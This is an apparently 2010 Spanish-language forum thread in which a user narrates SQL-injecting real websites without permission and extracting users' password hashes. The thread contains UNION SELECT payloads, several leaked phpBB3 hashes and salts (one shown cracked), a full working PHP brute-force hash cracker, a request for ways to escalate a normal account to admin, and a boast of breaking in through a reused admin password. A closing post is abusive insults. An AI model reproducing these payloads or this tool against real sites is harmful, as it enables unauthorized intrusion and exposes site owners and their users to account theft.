SQLi PhpBB3 y Hash :S Cosas que no entiendo.

Iniciado por xustyx, 12 Junio 2010, 22:45 PM

0 Miembros y 1 Visitante están viendo este tema.

xustyx

Bueno desde hace unos dias me lei un post de SQLI por aqui y me dio curiosidad por probar.

El resultado ha sido bueno pero aun estoy confuso, vamos que entiendo lo justo.
Empeze por googlear y buscar vulnerabilidades y tal y acabe llegando a conseguir users y pass en MD5 que logre descifrar :)

Bueno aun asi tengo bastantes dudas de cosas curiosas que me an pasado.
-La primera es que en una web al poner  el "+limit+1,1--" puff error y bueno pese que seria que tendrian la opcion capeada o algo y al no poder usar limit segui buscando directamente y logre sacar user y pass.

-La segunda es que bueno voi haciendo la injeccion tal tal i encuentro la table (pondre ejemplos por que no recuerdo exactamente los names) lolusers
ok hasta hay todo correcto busco las columnas y encuentro user_pass y user_name Mi cara se vuelve asi  ;D i de repente cuando inyecto el "union select 1,user_pass,3,user_name,4,5 from lolusers" ERROR Asipt_table.lolusers don't exist entonces mi cara cambio a  :¬¬

-La tercera Weno ya trasteando mas me voi a una web que conozco y empiezo a investigar voi poniendo menos en todos los lados donde hay un = al final :D y nada :S al final me voi a un apartado de un apartado y mi sorpresa que al poner - me salta el error y yo siii!!!!!!! empiezo la inyeccion y consigo sacar users y pass(en MD5) bueno voi a logear error usuario incorrecto... COMO?¿? no puede ser entonces empeze a pensar que esa tabla no era de donde estaba logeando y decidi ir a la web donde me logeaba que era un foro sin posible inyeccion sigo investigando y nada empiezo a mirar exploits para la version del foro y despues de un largo fracaso de compilaziones y hasta los webos me da por irme a la pagina web i volver a buscar las tablas pero esta vez con "+limit" Bingo !!!!
una Tabla llamada phpbb_users :D weno sigo inyectando y encuentro lo que se supone que son sus columnas username y user_password y al poner -1+union+select+1,user_name,3,4,5,6+from+phpbb_users-- PUM error! Me di cuenta que si ponia otro from como por ejemplo el de la tabla que consegui anteriormente i quitando user_name por un 2 no me daba el error :S y dije sera que la tabla no existe por que da el error ?¿? el error siempre era el mismo error on line tal tal tal no me daba nada util entonces decidi usar el SQLi Helper y por asombro mio funciono me dio los users y las pass pero por asombro mio vi esto:
$H$9dBxaam9AtP0aPNgegO0DTeYerVN791:
:
$H$9.TQxNJcJdbQlCruOduDGj0WS8s.pa.:
$H$9UmNyRm/EGlqoZVXEw3eKXYMd6kuso1:
$H$9cVYQkENBW2ZJ6.tetK9IhB4Cd5BnN.:
$H$9cRsVQnMf2Snv/BJu6cVq2Ze67yjtb/:

y dije pff y esto que es y como desencryptar esto en todas las pass aparece el $H$
que debe de ser algun encabezado pero ni entiendo con que an encryptado eso.

Bueno esto es todo. Si alguien sabe el porque de mis dudas, como descifrar eso, y como hacer cosas bonitas en foros PHPBB3 que postee :) Si quereis mas informacion sobre sobre el host,otras cosas que os interesen y otras dudas que no entendais de como me he explicado y quereis que os lo aclare postear.

UN SALUDO A TODOS !!!!

xustyx

Weno haber si alguien me echa una mano jijiji

De momento he estado investigando y buscando por hay por hay.
He encontrado algo pero aun no lo he probado y ahora probare que me tenio que instalar el php para ejecutar un Script haber si rula. Tambien he encontrado una columna muy curiosa llamada user_form_salt y parece que funciona al azahar:)
Bueno en definitiva que tengo esto.

User: Admin
Hash: $H$9tJpe2rPbpx2LBGc1gb/9BqVfrmDhS/
Salt: ca28b6b43c28f6b3

Weno voy a probar el script.
Echarme el ultimo empujoncito si algien sabre resolver lo que falta :D

Un saludo a todos :)

xustyx

Ahh! os dejo el script por aqui si alguien lo necesita :)
Código (php) [Seleccionar]
/////////////////////////////////////////////////////////////////// R00TSECURITY.ORG - YOUR SECURITY COMMUNITY // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -// [2008-07-15] PhpBB3 Hash Bruteforce// http://r00tsecurity.org/db/code/134// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -// GENERATED ON: 2010-06-13 | 17:52:35/////////////////////////////////////////////////////////////////CODE INFOUSAGE:
php script.php 'hash' charsSOURCE CODE#!/usr/bin/php
<?php
set_time_limit
(0);

echo 
"///////////////////////////////////////////////\r\n";
echo 
"//         PHPBB3 Bruteforce             //\r\n";
echo 
"//  Original bruteforce script by Tux      //\r\n";
echo 
"//     Moded for Phpbb3 by Jeforce     //\r\n";
echo 
"//     http://www.jeforce.net            //\r\n";
echo 
"////////////////////////////////////////////\r\n";

if (
$argc<|| $argv[1]=='--help') {
    echo<<<END
USAGE: {$argv[0]} 'hash' chars
    - hash        : The hash to crack
    - chars        : Max length string to attempt to crack

HELP: 
{$argv[0]} --help


END;
    exit;
}
//Fonction PHPBB3

function _hash_crypt_private($password$setting, &$itoa64)
{
$output '*';
// Check for correct hash
if (substr($setting03) != '$H$')
{return 
$output;}

$count_log2 strpos($itoa64$setting[3]);
if (
$count_log2 || $count_log2 30)
{return 
$output;}
$count << $count_log2;
$salt substr($setting48);
if (
strlen($salt) != 8)
{return 
$output;}

$hash pack('H*'md5($salt $password));
do
{
$hash pack('H*'md5($hash $password));
}
while (--
$count);
$output substr($setting012);
$output .= _hash_encode64($hash16$itoa64);
return 
$output;
}
function 
_hash_gensalt_private($input, &$itoa64$iteration_count_log2 6)
{
if (
$iteration_count_log2 || $iteration_count_log2 31)
{
$iteration_count_log2 8;}
$output '$H$';
$output .= $itoa64[min($iteration_count_log2 + ((PHP_VERSION >= 5) ? 3), 30)];
$output .= _hash_encode64($input6$itoa64);
return 
$output;
}

/**
* Encode hash
*/
function _hash_encode64($input$count, &$itoa64)
{
$output '';
$i 0;
do
{
$value ord($input[$i++]);
$output .= $itoa64[$value 0x3f];
if (
$i $count)
{
$value |= ord($input[$i]) << 8;}
$output .= $itoa64[($value >> 6) & 0x3f];
if (
$i++ >= $count)
{break;}
if (
$i $count)
{
$value |= ord($input[$i]) << 16;}
$output .= $itoa64[($value >> 12) & 0x3f];
if (
$i++ >= $count)
{break;}
$output .= $itoa64[($value >> 18) & 0x3f];
}
while (
$i $count);
return 
$output;
}
function 
phpbb_check_hash($password$hash)
{
$itoa64 './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
if (
strlen($hash) == 34)
{
return (
_hash_crypt_private($password$hash$itoa64) === $hash) ? true false;
}
return (
md5($password) === $hash) ? true false;
}

//if(isset($argv[4])) $charset=$argv[4];
//else $charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';

$charset 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$charset_beginning $charset{0};
$charset_end $charset{strlen($charset)-1};

//$HASH = '$H$99i1.eNyzhGdi5/lAnKnSjU8iIABC80';
// $SIZE = (int) $_GET['chars'];
$HASH $argv[1];
$SIZE = (int) $argv[2];

$start time()-1;
$curtotal=0;
$total=0;
for(
$i=$SIZE$i>0$i--) $total+=pow(strlen($charset), $i);
$split=ceil(($total/strlen($charset))/5);


echo 
" *** MAX SIZE: $SIZE, cracking HASH: $HASH\r\n";
echo 
" *** TOTAL KEYS: $total\r\n";
echo 
" *** CHARSET: $charset\r\n";

for(
$i=1$i<=$SIZE$i++) {
    
$keyspace pow(strlen($charset), $i);
    echo 
"\r\nAttempting to crack with $i characters.\r\n";
    echo 
" *** Total combinations: $keyspace\r\n";

    
$key '';
    for (
$y=0$y<$i$y++) $key .= $charset_beginning;

    for (
$x=0$x<$keyspace+1$x++) {
        
$curtotal++;

        if (
phpbb_check_hash($key$HASH)) {
            
$time=(time()-$start);
            echo<<<END

Successfully key cracked after 
$time seconds. The cracker searched a total
of 
$curtotal keys out of a possible $total in $time seconds.

Found the clear text of '
$HASH' is '$key'.\n
END;
            exit;
        }

        if(
$x%$split == 0) {
            
$rate=ceil($curtotal/(time()-$start));
            echo 
" ... $curtotal/$total ($key) [$rate Keys/second]\r\n";
        }

        for (
$y=0$y<$i$y++) {
            if (
$key[$y] != $charset_end) {
                
$key[$y] = $charset{strpos($charset$key[$y])+1};
              
                if (
$y 0)  for ($z 0$z $y$z++) $key[$z] = $charset_beginning;
                break;
            }
        }
    }
}
$time=time()-$start;
echo<<<END
*** SORRY NO MATCHS FOUND
    Time running : 
$time. Keys searched : $total.\n
END;
?>
// http://r00tsecurity.org/db/code/134

Hasta luego!

Shell Root

Cita de: xustyx en 12 Junio 2010, 22:45 PM
-La segunda es que bueno voi haciendo la injeccion tal tal i encuentro la table (pondre ejemplos por que no recuerdo exactamente los names) lolusers
Ehh?, tuviste un poco de imaginación y poner users?

Cita de: xustyx en 12 Junio 2010, 22:45 PMAsipt_table.lolusers don't exist [/b] entonces mi cara cambio a  :¬¬
jajajaja Pwned!
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

xustyx

Na si pongo cualquier table la que sea users o alguna otra siempre me da lo mismo.
Asipt_table."nombre de la tabla que pongo"
Es un prefix que ponen al hacer la consulta talvez aya algun modo de borrar el prefix y entonces si que funcione pero no se no se :S

xustyx

Por cierto el Script Funciona :D
Pero vamos attempting to crack with 4 characters. Tal vez si tengo suerte i el admin a puesto una pass corta funcione :)

xustyx

Bueno si todo esto no funciona... Alguien sabe algun modo de obtener Permisos Admin en un user normal?¿ Algo como crear un user y añadirle a la tabla de permisos el rango de admin. No se si mediante una inyeccion xploit o lo que sea sera posbile eso :S

xustyx

Bueno sigo aportando mas cosas :)

HASH: $H$9YSi5FYkRx4aIMejyZo.9LCvuefQb31
SALT: 16eeb051d024903a
PASS: deface

entonces si....

HASH: $H$9tJpe2rPbpx2LBGc1gb/9BqVfrmDhS/
SALT: ca28b6b43c28f6b3
PASS: ???????????????????? Como la puedo sacar?¿?¿?

xustyx

BUENO PORFIN XUSTY 1 WEB 0 !!!!!!!!!!!!!!!!!!!!

Nada no consegui descifrar nada de eso lo que hice fue lo siguiente.

Como consegui los datos por un SQLi lo que hize al cabo de horas i horas fue mirar otras Data Bases y me di cuenta de algo en otras Data bases habian tambien phpbb_ y yo dije juer que raro bueno que me puse a trastear i sace unos cuantos users a los que probe en el foro i Lo sentimos pero debido al update del foro no emos podido convertir tu pass porfavor intreoduzela tal tal..
entonces dije esto tiene algo que ver y claro que lo tenia era el foro antiguo en phpbb2 jajajaj lo que hize fue cojer la tabla de users i Bingo por suerte estaban en md5.

Por asombro mio cuando desencrypte el MD5 me di cuenta de que el admin tenia muy poca creatividad y encima no se molestaron ni a cambiar el pass al cambiar el foro.

Un saludo a todos y espero que os sirva a alguno ya ves aveces la solucion esta buscando en otro sitio :))))

Zazú

Cita de: shellroot@alex-laptop:~$ en 14 Junio 2010, 00:48 AM
Cita de: xustyx en 12 Junio 2010, 22:45 PM
-La segunda es que bueno voi haciendo la injeccion tal tal i encuentro la table (pondre ejemplos por que no recuerdo exactamente los names) lolusers
Ehh?, tuviste un poco de imaginación y poner users?

Cita de: xustyx en 12 Junio 2010, 22:45 PMAsipt_table.lolusers don't exist [/b] entonces mi cara cambio a  :¬¬
jajajaja Pwned!

WE ALEX TE JURO QEU SOS LA PERSONA MAS ENFERMITA DEL MUNDO, TE PONES A COMENTAR COMO UN  PELOTUDO PARA GANAR NIVEL EN UNA PAGINA, DEMOSTRAS QUE NO DEBES TENER NI SIQUIERA AMIGOS POR QUE TE PASAS 24 HORAS ON 7 DIAS A lA SEMANA.
QUE ***** TE IMPORTA A VOS SI SE LE OCURRIO ESE NOMBRE DE EJEMPLO? TENES 3 AÑOS PARECE
SI SOS TAN HACKER VOS POR QUÉ NO LE DECIS A QUE SE REFIERE EL ERROR, INUTIL

TE VEO GORDO, FRACASADO, SIN AMIGOS Y QUE TIENE UN EGO GIGANTE




HORRIBLE SOS